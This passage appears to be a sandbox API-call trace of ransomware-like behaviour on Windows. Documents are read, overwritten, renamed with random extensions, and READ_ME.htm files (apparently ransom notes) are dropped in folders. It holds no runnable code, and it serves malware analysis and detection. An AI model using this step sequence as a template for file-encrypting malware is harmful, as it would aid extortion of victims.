GetFileType (hFile=0x1d0) returned 0x1 [0154.294] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xf853 [0154.294] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a06ed0, nNumberOfBytesToRead=0xf853, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a06ed0*, lpNumberOfBytesRead=0x21d418*=0xf853, lpOverlapped=0x0) returned 1 [0154.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", lpFilePart=0x0) returned 0x41 [0154.356] SetErrorMode (uMode=0x1) returned 0x0 [0154.356] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\fndw88lf7zp59.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.358] GetFileType (hFile=0x1d0) returned 0x1 [0154.358] SetErrorMode (uMode=0x0) returned 0x1 [0154.359] GetFileType (hFile=0x1d0) returned 0x1 [0154.359] WriteFile (in: hFile=0x1d0, lpBuffer=0x2921f28*, nNumberOfBytesToWrite=0xf860, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2921f28*, lpNumberOfBytesWritten=0x21d498*=0xf860, lpOverlapped=0x0) returned 1 [0154.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", lpFilePart=0x0) returned 0x41 [0154.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx.0yl4jd", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx.0yl4jd", lpFilePart=0x0) returned 0x48 [0154.361] SetErrorMode (uMode=0x1) returned 0x0 [0154.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\fndw88lf7zp59.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87e43b0, ftCreationTime.dwHighDateTime=0x1d8b24e, ftLastAccessTime.dwLowDateTime=0xb15934b0, ftLastAccessTime.dwHighDateTime=0x1d8b279, ftLastWriteTime.dwLowDateTime=0x587b9400, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xf860)) returned 1 [0154.362] SetErrorMode (uMode=0x0) returned 0x1 [0154.362] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\fndw88lf7zp59.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx.0yl4jd" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\fndw88lf7zp59.pptx.0yl4jd")) returned 1 [0154.363] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", lpFilePart=0x0) returned 0x47 [0154.363] SetErrorMode (uMode=0x1) returned 0x0 [0154.363] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\jv0sar5vwftbsdeepeek.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.363] GetFileType (hFile=0x1d0) returned 0x1 [0154.363] SetErrorMode (uMode=0x0) returned 0x1 [0154.364] GetFileType (hFile=0x1d0) returned 0x1 [0154.364] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x16cd [0154.364] ReadFile (in: hFile=0x1d0, lpBuffer=0x2932718, nNumberOfBytesToRead=0x16cd, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2932718*, lpNumberOfBytesRead=0x21d418*=0x16cd, lpOverlapped=0x0) returned 1 [0154.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", lpFilePart=0x0) returned 0x47 [0154.385] SetErrorMode (uMode=0x1) returned 0x0 [0154.385] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\jv0sar5vwftbsdeepeek.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.386] GetFileType (hFile=0x1d0) returned 0x1 [0154.387] SetErrorMode (uMode=0x0) returned 0x1 [0154.387] GetFileType (hFile=0x1d0) returned 0x1 [0154.387] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a19430*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2a19430*, lpNumberOfBytesWritten=0x21d498*=0x16d0, lpOverlapped=0x0) returned 1 [0154.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt", lpFilePart=0x0) returned 0x47 [0154.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt.g30pjg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt.g30pjg", lpFilePart=0x0) returned 0x4e [0154.389] SetErrorMode (uMode=0x1) returned 0x0 [0154.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\jv0sar5vwftbsdeepeek.odt"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d555fd0, ftCreationTime.dwHighDateTime=0x1d8b314, ftLastAccessTime.dwLowDateTime=0x627d4ff0, ftLastAccessTime.dwHighDateTime=0x1d8bf78, ftLastWriteTime.dwLowDateTime=0x588056c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16d0)) returned 1 [0154.389] SetErrorMode (uMode=0x0) returned 0x1 [0154.389] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\jv0sar5vwftbsdeepeek.odt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\Jv0SAr5VWfTBsdeEpeEk.odt.g30pjg" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\jv0sar5vwftbsdeepeek.odt.g30pjg")) returned 1 [0154.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s", lpFilePart=0x0) returned 0x3d [0154.391] SetErrorMode (uMode=0x1) returned 0x0 [0154.391] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\ixdurasnn8au-s\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.391] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.392] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea637b10, ftCreationTime.dwHighDateTime=0x1d8bc85, ftLastAccessTime.dwLowDateTime=0x8c79a8e0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x8c79a8e0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1ac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hUfbo2aLe.pps", cAlternateFileName="HUFBO2~1.PPS")) returned 1 [0154.392] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea637b10, ftCreationTime.dwHighDateTime=0x1d8bc85, ftLastAccessTime.dwLowDateTime=0x8c79a8e0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x8c79a8e0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1ac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hUfbo2aLe.pps", cAlternateFileName="HUFBO2~1.PPS")) returned 0 [0154.392] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.392] SetErrorMode (uMode=0x0) returned 0x1 [0154.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s", lpFilePart=0x0) returned 0x3d [0154.393] SetErrorMode (uMode=0x1) returned 0x0 [0154.393] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\ixdurasnn8au-s\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.393] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.393] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea637b10, ftCreationTime.dwHighDateTime=0x1d8bc85, ftLastAccessTime.dwLowDateTime=0x8c79a8e0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x8c79a8e0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1ac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hUfbo2aLe.pps", cAlternateFileName="HUFBO2~1.PPS")) returned 1 [0154.393] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea637b10, ftCreationTime.dwHighDateTime=0x1d8bc85, ftLastAccessTime.dwLowDateTime=0x8c79a8e0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x8c79a8e0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1ac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hUfbo2aLe.pps", cAlternateFileName="HUFBO2~1.PPS")) returned 0 [0154.393] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.394] SetErrorMode (uMode=0x0) returned 0x1 [0154.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0154.394] SetErrorMode (uMode=0x1) returned 0x0 [0154.394] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\IxduRASNn8AU-s\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\ixdurasnn8au-s\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0154.395] GetFileType (hFile=0x1d0) returned 0x1 [0154.395] SetErrorMode (uMode=0x0) returned 0x1 [0154.395] GetFileType (hFile=0x1d0) returned 0x1 [0154.395] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a20ad0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a20ad0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0154.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0154.397] SetErrorMode (uMode=0x1) returned 0x0 [0154.397] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0154.397] GetFileType (hFile=0x1d0) returned 0x1 [0154.397] SetErrorMode (uMode=0x0) returned 0x1 [0154.397] GetFileType (hFile=0x1d0) returned 0x1 [0154.404] WriteFile (in: hFile=0x1d0, lpBuffer=0x2826428*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2826428*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0154.406] CloseHandle (hObject=0x1d0) returned 1 [0154.406] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe", lpFilePart=0x0) returned 0x27 [0154.406] SetErrorMode (uMode=0x1) returned 0x0 [0154.406] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DZo4", cAlternateFileName="")) returned 1 [0154.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x627c3620, ftCreationTime.dwHighDateTime=0x1d8bd15, ftLastAccessTime.dwLowDateTime=0x9f0ca440, ftLastAccessTime.dwHighDateTime=0x1d8be95, ftLastWriteTime.dwLowDateTime=0x9f0ca440, ftLastWriteTime.dwHighDateTime=0x1d8be95, nFileSizeHigh=0x0, nFileSizeLow=0x3cb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBQN6G.pptx", cAlternateFileName="GBQN6G~1.PPT")) returned 1 [0154.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4999e3f0, ftCreationTime.dwHighDateTime=0x1d8b856, ftLastAccessTime.dwLowDateTime=0x44ccca00, ftLastAccessTime.dwHighDateTime=0x1d8bc10, ftLastWriteTime.dwLowDateTime=0x44ccca00, ftLastWriteTime.dwHighDateTime=0x1d8bc10, nFileSizeHigh=0x0, nFileSizeLow=0x1834f, dwReserved0=0x0, dwReserved1=0x0, cFileName="gohAPD YvxpiV5JD.ppt", cAlternateFileName="GOHAPD~1.PPT")) returned 1 [0154.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x329e0410, ftCreationTime.dwHighDateTime=0x1d8ba31, ftLastAccessTime.dwLowDateTime=0x687b94c0, ftLastAccessTime.dwHighDateTime=0x1d8bd5c, ftLastWriteTime.dwLowDateTime=0x687b94c0, ftLastWriteTime.dwHighDateTime=0x1d8bd5c, nFileSizeHigh=0x0, nFileSizeLow=0x12c7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXgZA3JD1f_.rtf", cAlternateFileName="IXGZA3~1.RTF")) returned 1 [0154.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb5fd80, ftCreationTime.dwHighDateTime=0x1d8b3f9, ftLastAccessTime.dwLowDateTime=0x912ffbf0, ftLastAccessTime.dwHighDateTime=0x1d8bf8b, ftLastWriteTime.dwLowDateTime=0x912ffbf0, ftLastWriteTime.dwHighDateTime=0x1d8bf8b, nFileSizeHigh=0x0, nFileSizeLow=0x178b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5hM2sANeBEXGTf3mc.pdf", cAlternateFileName="O5HM2S~1.PDF")) returned 1 [0154.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b00c290, ftCreationTime.dwHighDateTime=0x1d8b663, ftLastAccessTime.dwLowDateTime=0x7944e50, ftLastAccessTime.dwHighDateTime=0x1d8bf6d, ftLastWriteTime.dwLowDateTime=0x7944e50, ftLastWriteTime.dwHighDateTime=0x1d8bf6d, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrEWF.odp", cAlternateFileName="")) returned 1 [0154.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b00c290, ftCreationTime.dwHighDateTime=0x1d8b663, ftLastAccessTime.dwLowDateTime=0x7944e50, ftLastAccessTime.dwHighDateTime=0x1d8bf6d, ftLastWriteTime.dwLowDateTime=0x7944e50, ftLastWriteTime.dwHighDateTime=0x1d8bf6d, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrEWF.odp", cAlternateFileName="")) returned 0 [0154.408] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.408] SetErrorMode (uMode=0x0) returned 0x1 [0154.409] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe", lpFilePart=0x0) returned 0x27 [0154.409] SetErrorMode (uMode=0x1) returned 0x0 [0154.409] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.409] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DZo4", cAlternateFileName="")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x627c3620, ftCreationTime.dwHighDateTime=0x1d8bd15, ftLastAccessTime.dwLowDateTime=0x9f0ca440, ftLastAccessTime.dwHighDateTime=0x1d8be95, ftLastWriteTime.dwLowDateTime=0x9f0ca440, ftLastWriteTime.dwHighDateTime=0x1d8be95, nFileSizeHigh=0x0, nFileSizeLow=0x3cb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBQN6G.pptx", cAlternateFileName="GBQN6G~1.PPT")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4999e3f0, ftCreationTime.dwHighDateTime=0x1d8b856, ftLastAccessTime.dwLowDateTime=0x44ccca00, ftLastAccessTime.dwHighDateTime=0x1d8bc10, ftLastWriteTime.dwLowDateTime=0x44ccca00, ftLastWriteTime.dwHighDateTime=0x1d8bc10, nFileSizeHigh=0x0, nFileSizeLow=0x1834f, dwReserved0=0x0, dwReserved1=0x0, cFileName="gohAPD YvxpiV5JD.ppt", cAlternateFileName="GOHAPD~1.PPT")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x329e0410, ftCreationTime.dwHighDateTime=0x1d8ba31, ftLastAccessTime.dwLowDateTime=0x687b94c0, 